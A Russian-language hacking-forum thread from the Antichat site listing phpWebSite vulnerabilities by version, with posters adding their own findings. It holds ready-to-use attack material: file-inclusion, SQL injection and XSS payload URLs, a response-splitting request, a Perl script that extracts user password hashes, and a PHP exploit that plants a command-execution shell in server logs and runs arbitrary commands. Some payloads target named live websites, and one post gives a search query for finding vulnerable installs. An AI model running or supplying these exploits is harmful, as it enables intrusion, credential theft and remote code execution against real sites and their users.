Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей phpWebSite ] (https://forum.antichat.xyz/showthread.php?t=59709)

Scipio 23.01.2008 20:25

[ Обзор уязвимостей phpWebSite ]
 
Уязвимости phpWebSite

от старых к новым:

phpWebsite 0.8.2

Уязвимость позволяет включать произвольный удаленный PHP файл в include_once.php или modsecurity.php скрипты:
modsecurity.php:
Код:

<?php
global $inc_prefix;
if(!$inc_prefix) {
...
}
...
include_once($inc_prefix."htmlheader.php");
?>

таким образом, вызов
Код:

http://[HOST]/modsecurity.php?inc_prefix=http://site.narod.ru/
приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
Код:

http://[HOST]/ catalog/inludes/include_once.php?inc_prefix=http://site.narod.ru/
phpWebsite 0.8.3

Уязвимость позволяет произвести Пассивную XSS-атаку:
Код:

http://[HOST]/article.php?sid="><Img Src=javascript:alert(document.cookie)>
SQL инъекции: Уязвимость существует в сценариях friend.php и article.php в параметре "sid”. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc". Пример:
Код:

http://[target]/friend.php?op=FriendSend&sid=-1+union+select+name+from+users+where+uid=1
http://[target]/article.php?sid=[sql]

phpWebsite 0.9.3

SQL инъекция. Уязвимость обнаружена в модуле 'Calendar'. Пример:

Код:

http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003 and startDate <= 20071205) or ( endDate >=031101 and endDate <=20071205)) and active=1

Уязвимы и другие сценарии в модуле 'Calendar'.

XSS. Уязвимость обнаружена в модулях 'Calendar', 'PageMaster', и 'Fatcat'. Примеры:
Код:

http://[HOST]/[PATH]/index.php?module=calendar&calendar[view]
=day&month=2&year=2003&day=1+%00"><script>alert(‘XSS’)</script>

Код:

http://[HOST]/[PATH]/index.php?modu le=fatcat&fatcat[user]
=viewCategory&fatcat_id=1%00+"><script>alert(‘XSS’)</script>

Код:

http://[HOST]/[PATH]/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10+"><script>alert(‘XSS’)</script>&MMN_position=[X:X]
Код:

http://[HOST]/[PATH]/index.php?module=search&SEA_search_op=continue&PDA_limit=10">+"><script>alert(‘XSS’)</script>
Уязвимы все переменные

Раскрытие инсталляционного пути:
Код:

http://[target]/index.php?module=calendar&calendar[view]=month&month=11&year=9
Переполнение буфера в модуле 'Calendar’, позволяет удаленному атакующему аварийно завершить работу Web сервера. Пример:
Код:

http://[HOST]/[PATH]/index.php?index.php?module=calendar&calendar[view]=
[VIEW FORM]&month=11&year=91+92+93...( больше 4000 байт )

автор уязвимости утверждает, что ложится, веб-сервер и mysql сервер, и воизбежания этого советует:
Цитата:

«…не используйте PHP, MySQL, Windows, Linux, компьютер, tcp/ip, netbios, игры, asp, Apache......не используйте ничего!»
phpWebSite 0.9.x

SQL инъекция. Уязвимость обнаружена в announce модуле.
Код:

http://[HOST]/[PATH]/index.php?module=announce&ANN_user_op=view&ANN_id='[SQL инъекция]
phpWebSite 0.9.3-4

XSS. Пример:
Код:

/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS]
Также уязвимы поля subject и message в частных сообщениях посланных через notes модуль.
Также сообщается, что phpWebSite нарушает RFC 2616, принимая функции клавиш через http get запросы. В результате, удаленный пользователь может выполнить XSS нападение, чтобы заставить целевого администратора выполнить функции клавиш, например, внедренные в GET запрос в IFRAME или image тэгах или других тэгах.

Response Splitting. Уязвимость существует в фале index.php Удаленный атакующий может с помощью специально сформированного HTTP POST запроса подменить содержимое страниц web сервера, выполнить произвольный HTML код в браузере жертвы. Пример:
Код:

POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive

module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%
site in 0wned</html>&password=foobar

phpWebSite 0.10.0

Заливка шелла. Уязвимость обнаружена в модуле Announce при обработке gif файлов. Удаленный пользователь с привилегиями на загрузку файлов и публикацию анонсов может залить php сценарий на сервер. Удаленный пользователь может выдать php сценарий за gif файл (имя.gif.php) и вызвать его:
Код:

http://[HOST]/images/announce/имя.gif.php
phpWebSite 0.10.1
SQL инъекция. пример:
Код:

http://[HOST]/phpweb/index.php?module=[sql_injection]
Эксплоит:
Код:

#!/usr/bin/perl
use LWP::Simple;
 
$serv    =  $ARGV[0];
$path    =  $ARGV[1];
$name    =  $ARGV[2];
   
sub usage
 {
    print "\nUsage: $0 [server] [path] [username] \n";
    print "sever    -  URL\n";
    print "path    -  path to index.php\n";
    print "username -  name register user\n\n";
    exit ();} 
 
sub work
 {
    print qq(
      ---------------------------------
#==---[    phpWebSite SQL-injection    |
#==---[  tested ob phpWebSite-0.10.0  |
#==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
#==---[      edisan, foster, whice    |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[        http://rst.void.ru      |
#==---[          http://ghc.ru          |
      ---------------------------------\n\n);&chv;&board}
     
sub chv   
 {
    $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
    $getv = get "$ver";
if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}} 
 
sub board
 {
    $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path); 
    $content = get "$URL";
if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}
 
sub showh
 {
    print "[*] User: $name\n";
    print "[*] Hash: $2\n\n";}
   
if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2005-09-15]


phpWebSite 0.10.2

Локальный инклюд. Уязвимость позволяет удаленному пользователю просмотреть (и принклюдить) произвольные локальные файлы. Уязвимость существует в параметре "hub_dir" сценария "index.php". Для успешной эксплуатации уязвимости опция "magic_quotes_gpc" должна быть отключена. Невозможность инклюда удаленных файлов существует из-за фильтрации символов “://” в уязвимом параметре с помощью условия:
Код:

if (!preg_match ("/:\/\//i", $hub_dir)) {
    loadConfig($hub_dir);
} else {
    exit('FATAL ERROR! Hub directory was malformed.');

Эксплоит
Код:

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPWebSite <= 0.10.2 remote cmmnds xctn\r\n";
echo "-> arbitrary local inclusion, works with magic_quotes_gpc = Off\r\n";
echo "by rgod, mail: rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to phpwebsite\r\n";
echo "cmd:      a shell command\r\n";
echo "Options:\r\n";
echo "  -p[port]:    specify a port other than 80\r\n";
echo "  -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpwebsite/ ls -la\r\n";
die;
}

/* explaination:
 vulnerable code in index.php at lines 21-29:

...
 if (!isset($hub_dir)) {
    $hub_dir = NULL;
}
if (!preg_match ("/:\/\//i", $hub_dir)) {
    loadConfig($hub_dir);
} else {
    exit('FATAL ERROR! Hub directory was malformed.');
}
...

and at lines 125-143:

...
function loadConfig($hub_dir){

    if (file_exists($hub_dir . 'conf/config.php')) {
        if (filesize($hub_dir . 'conf/config.php') > 0) {
            include($hub_dir . 'conf/config.php');

            define('PHPWS_SOURCE_DIR', $source_dir);


        } else {

            header('Location: ./setup/set_config.php');
            exit();
        }
    } else {
        header('Location: ./setup/set_config.php');
        exit();
    }
}
....

so, you can include files from local resources, poc:

http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00

you don't see output, but we have some code in log files, it will be executed

also, on php5, arbitrary remote inclusion:

http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\

including a full accessible share
where on samba resource you have some code in conf/config.php
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
  if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  {$result.="  .";}
  else
  {$result.="  ".$string[$i];}
  if (strlen(dechex(ord($string[$i])))==2)
  {$exa.=" ".dechex(ord($string[$i]));}
  else
  {$exa.=" 0".dechex(ord($string[$i]));}
  $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files...\r\n";
$CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
$CODE.='passthru($_GET[cmd]);echo 666;die;?>';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$serv."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);

# fill with possible locations
$paths= array (
  "/var/log/httpd/access_log",
  "/var/log/httpd/error_log",
  "../apache/logs/error.log",
  "../apache/logs/access.log",
  "../../apache/logs/error.log",
  "../../apache/logs/access.log",
  "../../../apache/logs/error.log",
  "../../../apache/logs/access.log",
  "../../../../apache/logs/error.log",
  "../../../../apache/logs/access.log",
  "/etc/httpd/logs/acces_log",
  "/etc/httpd/logs/acces.log",
  "/etc/httpd/logs/error_log",
  "/etc/httpd/logs/error.log",
  "/var/www/logs/access_log",
  "/var/www/logs/access.log",
  "/usr/local/apache/logs/access_log",
  "/usr/local/apache/logs/access.log",
  "/var/log/apache/access_log",
  "/var/log/apache/access.log",
  "/var/log/access_log",
  "/var/www/logs/error_log",
  "/www/logs/error.log",
  "/usr/local/apache/logs/error_log",
  "/usr/local/apache/logs/error.log",
  "/var/log/apache/error_log",
  "/var/log/apache/error.log",
  "/var/log/access_log",
  "/var/log/error_log",
);

for ($i=0; $i<=count($paths)-1; $i++)
{
  $j=$i+2;
  echo "[".$j."] Trying with ".$paths[$i]."%00\r\n";
  $xpl=$paths[$i];
  $packet ="GET ".$p."index.php?cmd=".$cmd."&hub_dir=".$xpl."%00 HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  #debug, shows packets in a nice format
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,"666")){
    echo "Exploit succeeded...\r\n";
    $temp=explode("666",$html);
    echo $temp[1];
    die;
  }
}
#if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-04-14]

phpWebSite 1.4.0

XSS. Уязвимость в параметре "search" в модуле поиска, пример:
Код:

http://[host]/search.php?query=”><script>alert('XSS')</script>
Ну и от себя, вроде описания этой баги не нашел:

SQL инъекция, версию не узнал, так как нигде не нашел CHANGELOG.txt
существует в модуле downloads в параметре lid, Пример:
Код:

http://[host]/mod.php?mod=downloads&op=getit&lid=-1+union+select+concat(name,0x3a,pass),2+from+users/*
рабочий пример:
Код:

http://www.heimplatzsuche.de/mod.php?mod=downloads&op=getit&lid=68+union+select+concat(name,0x3a,pass),2+from+users/*
Не очень удобна в эксплуатации, посмотрите, поймете почему;)

Scipio 23.01.2008 21:46

Вот еще от меня XSS:
версию опять же неузнал, но везде где пробовал работает:
Код:

http://[host]/mod.php?mod=userpage&menu=1210&page_id=[несуществующая страница]<script>alert(/xss/)</script>
пример:
Код:

http://pcburn.com/mod.php?mod=userpage&menu=1210&page_id=-1<script>alert(/xss/)</script>

blackybr 23.01.2008 23:09

Молодец.)
Цитата:

приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример:
нет не обязательно.. просто ? добавляешь в конец,)

Jokester 18.05.2008 19:44

В дополнение найденое мной в версии 0.8.2(думаю будет работать и на других аналогичных)
раскрытие пути
Сценарий mod параметр mod(неверный параметр, или в массив)
Код:

http://[target]/mod.php?mod=
Код:

http://[target]/mod.php?mod[]=
пассивные XSS
сценарии article.php friend.php параметр sid
Код:

http://[target]/article.php?op=Print&sid=17<script>alert(11111)</script>
Код:

http://[target]/friend.php?op=FriendSend&sid=17"/><script>alert(/1/)</script>
модуль newsletter
Код:

http://[target]/mod.php?mod=newsletter&op=archive&id=44"/><script>alert(/1/)</script>
Код:

http://[target]/mod.php?mod=newsletter&op=read&id=706&listid=44"/><script>alert(/1/)</script>
в поиске
"/><script>alert(/1/)</script>
Код:

http://[target]/search.php
в форму пойска модуля faq >><script>alert(11111)</script>
Код:

http://[target]/mod.php?mod=faq&op=search_form
И последняя работает не везде, почему не разобрался
Код:

http://[target]/mod.php?mod=faq>><script>alert(11111)</script>
Всё найденное точно работает в версии 0.8.2, также проверялось на нескольких неопознанных версиях

l1ght 19.05.2008 16:18

phpwebsite, модуль article sql inj
example:
Код:

http://www.phpwebsitemanual.com/index.php?module=article&email=4+union+select+1,2,3,4,5,6,7,8,9,10,load_file(0x3b),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
phpwebsite, модуль announce sql inj
example:
Код:

http://www.phpwebsitemanual.com/index.php?module=announce&ANN_user_op=categories&category=4+order+by+2/*&list=categories&PAGER_limit=5&PAGER_start=0&PAGER_section=1
/ps
google it:
Код:

http://www.google.ru/search?q=inurl:?module=article+inurl:email
*edit

baltazar 18.07.2008 13:53

POST запрос на странице http://site/index.php?module=users &action=user&command=signup_user
Код:

"><BODY onload=alert(document.cookie)>
В полях: Password и Confirm (вместе), Email Address


Время: 09:06